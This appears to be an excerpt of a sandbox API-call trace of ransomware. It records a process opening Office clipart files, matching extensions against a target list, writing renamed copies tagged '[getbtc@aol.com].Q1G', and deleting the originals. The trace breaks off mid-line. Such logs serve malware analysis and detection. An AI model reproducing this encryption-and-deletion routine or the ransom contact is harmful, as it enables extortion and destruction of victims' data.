[0262.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf")) returned 1 [0262.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.785] lstrlenW (lpString=".doc") returned 4 [0262.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.785] lstrlenW (lpString=".docx") returned 5 [0262.785] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.785] lstrlenW (lpString=".pdf") returned 4 [0262.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.785] lstrlenW (lpString=".xls") returned 4 [0262.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.785] lstrlenW (lpString=".xlsx") returned 5 [0262.785] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.785] lstrlenW (lpString=".ppt") returned 4 [0262.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.785] lstrlenW (lpString=".zip") returned 4 [0262.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.785] lstrlenW (lpString=".rar") returned 4 [0262.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.785] lstrlenW (lpString=".bz2") returned 4 [0262.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.785] lstrlenW (lpString=".7z") returned 3 [0262.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.785] lstrlenW (lpString=".dbf") returned 4 [0262.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.786] lstrlenW (lpString=".1cd") returned 4 [0262.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.786] lstrlenW (lpString=".jpg") returned 4 [0262.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.786] lstrlenW (lpString=".doc") returned 4 [0262.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.786] lstrlenW (lpString=".docx") returned 5 [0262.786] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.786] lstrlenW (lpString=".pdf") returned 4 [0262.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.786] lstrlenW (lpString=".xls") returned 4 [0262.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.786] lstrlenW (lpString=".xlsx") returned 5 [0262.786] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.786] lstrlenW (lpString=".ppt") returned 4 [0262.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.786] lstrlenW (lpString=".zip") returned 4 [0262.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.786] lstrlenW (lpString=".rar") returned 4 [0262.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.786] lstrlenW (lpString=".bz2") returned 4 [0262.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.786] lstrlenW (lpString=".7z") returned 3 [0262.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.786] lstrlenW (lpString=".dbf") returned 4 [0262.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.786] lstrlenW (lpString=".1cd") returned 4 [0262.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0262.787] lstrlenW (lpString=".jpg") returned 4 [0262.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.787] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.787] lstrlenW (lpString="J0152688.WMF") returned 12 [0262.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.787] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=34676) returned 1 [0262.787] CloseHandle (hObject=0x3dc) returned 1 [0262.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf")) returned 0x20 [0262.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.788] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.788] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.789] GetLastError () returned 0x0 [0262.789] ReadFile (in: hFile=0x3dc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x8774, lpOverlapped=0x0) returned 1 [0262.800] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x8780, lpOverlapped=0x0) returned 1 [0262.802] ReadFile (in: hFile=0x3dc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.802] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.802] SetEndOfFile (hFile=0x3a8) returned 1 [0262.802] CloseHandle (hObject=0x3a8) returned 1 [0262.802] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.802] SetEndOfFile (hFile=0x3dc) returned 1 [0262.805] CloseHandle (hObject=0x3dc) returned 1 [0262.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf")) returned 1 [0262.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.806] lstrlenW (lpString=".doc") returned 4 [0262.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.806] lstrlenW (lpString=".docx") returned 5 [0262.806] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.806] lstrlenW (lpString=".pdf") returned 4 [0262.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.806] lstrlenW (lpString=".xls") returned 4 [0262.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.806] lstrlenW (lpString=".xlsx") returned 5 [0262.806] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.806] lstrlenW (lpString=".ppt") returned 4 [0262.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.806] lstrlenW (lpString=".zip") returned 4 [0262.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.806] lstrlenW (lpString=".rar") returned 4 [0262.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.806] lstrlenW (lpString=".bz2") returned 4 [0262.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.806] lstrlenW (lpString=".7z") returned 3 [0262.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.806] lstrlenW (lpString=".dbf") returned 4 [0262.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.806] lstrlenW (lpString=".1cd") returned 4 [0262.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.806] lstrlenW (lpString=".jpg") returned 4 [0262.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.807] lstrlenW (lpString=".doc") returned 4 [0262.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString=".docx") returned 5 [0262.807] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.807] lstrlenW (lpString=".pdf") returned 4 [0262.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString=".xls") returned 4 [0262.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.807] lstrlenW (lpString=".xlsx") returned 5 [0262.807] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.807] lstrlenW (lpString=".ppt") returned 4 [0262.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.807] lstrlenW (lpString=".zip") returned 4 [0262.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.807] lstrlenW (lpString=".rar") returned 4 [0262.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString=".bz2") returned 4 [0262.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString=".7z") returned 3 [0262.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.807] lstrlenW (lpString=".dbf") returned 4 [0262.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.807] lstrlenW (lpString=".1cd") returned 4 [0262.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0262.807] lstrlenW (lpString=".jpg") returned 4 [0262.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.808] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.808] lstrlenW (lpString="J0152694.WMF") returned 12 [0262.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.808] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1348) returned 1 [0262.808] CloseHandle (hObject=0x3dc) returned 1 [0262.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf")) returned 0x20 [0262.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.809] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.809] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.809] GetLastError () returned 0x0 [0262.809] ReadFile (in: hFile=0x3dc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x544, lpOverlapped=0x0) returned 1 [0262.884] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x550, lpOverlapped=0x0) returned 1 [0262.885] ReadFile (in: hFile=0x3dc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.885] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.885] SetEndOfFile (hFile=0x3a8) returned 1 [0262.885] CloseHandle (hObject=0x3a8) returned 1 [0262.886] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.886] SetEndOfFile (hFile=0x3dc) returned 1 [0262.888] CloseHandle (hObject=0x3dc) returned 1 [0262.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf")) returned 1 [0262.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.921] lstrlenW (lpString=".doc") returned 4 [0262.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.921] lstrlenW (lpString=".docx") returned 5 [0262.921] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0262.921] lstrlenW (lpString=".pdf") returned 4 [0262.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.921] lstrlenW (lpString=".xls") returned 4 [0262.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.921] lstrlenW (lpString=".xlsx") returned 5 [0262.921] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0262.921] lstrlenW (lpString=".ppt") returned 4 [0262.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.921] lstrlenW (lpString=".zip") returned 4 [0262.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.921] lstrlenW (lpString=".rar") returned 4 [0262.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.921] lstrlenW (lpString=".bz2") returned 4 [0262.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.921] lstrlenW (lpString=".7z") returned 3 [0262.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.922] lstrlenW (lpString=".dbf") returned 4 [0262.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.922] lstrlenW (lpString=".1cd") returned 4 [0262.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.922] lstrlenW (lpString=".jpg") returned 4 [0262.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.922] lstrlenW (lpString=".doc") returned 4 [0262.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.922] lstrlenW (lpString=".docx") returned 5 [0262.922] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0262.922] lstrlenW (lpString=".pdf") returned 4 [0262.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.922] lstrlenW (lpString=".xls") returned 4 [0262.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.922] lstrlenW (lpString=".xlsx") returned 5 [0262.922] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0262.922] lstrlenW (lpString=".ppt") returned 4 [0262.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.922] lstrlenW (lpString=".zip") returned 4 [0262.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.922] lstrlenW (lpString=".rar") returned 4 [0262.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.922] lstrlenW (lpString=".bz2") returned 4 [0262.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.922] lstrlenW (lpString=".7z") returned 3 [0262.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.922] lstrlenW (lpString=".dbf") returned 4 [0262.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.923] lstrlenW (lpString=".1cd") returned 4 [0262.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0262.923] lstrlenW (lpString=".jpg") returned 4 [0262.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.923] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.923] lstrlenW (lpString="J0152704.WMF") returned 12 [0262.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.964] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1652) returned 1 [0262.964] CloseHandle (hObject=0x3a8) returned 1 [0262.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf")) returned 0x20 [0262.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.965] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.965] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.966] GetLastError () returned 0x0 [0262.966] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x674, lpOverlapped=0x0) returned 1 [0262.974] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x680, lpOverlapped=0x0) returned 1 [0262.975] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.975] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.975] SetEndOfFile (hFile=0x3d8) returned 1 [0262.975] CloseHandle (hObject=0x3d8) returned 1 [0262.975] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.975] SetEndOfFile (hFile=0x3a8) returned 1 [0262.977] CloseHandle (hObject=0x3a8) returned 1 [0262.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf")) returned 1 [0262.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.978] lstrlenW (lpString=".doc") returned 4 [0262.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.978] lstrlenW (lpString=".docx") returned 5 [0262.978] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0262.978] lstrlenW (lpString=".pdf") returned 4 [0262.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.978] lstrlenW (lpString=".xls") returned 4 [0262.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 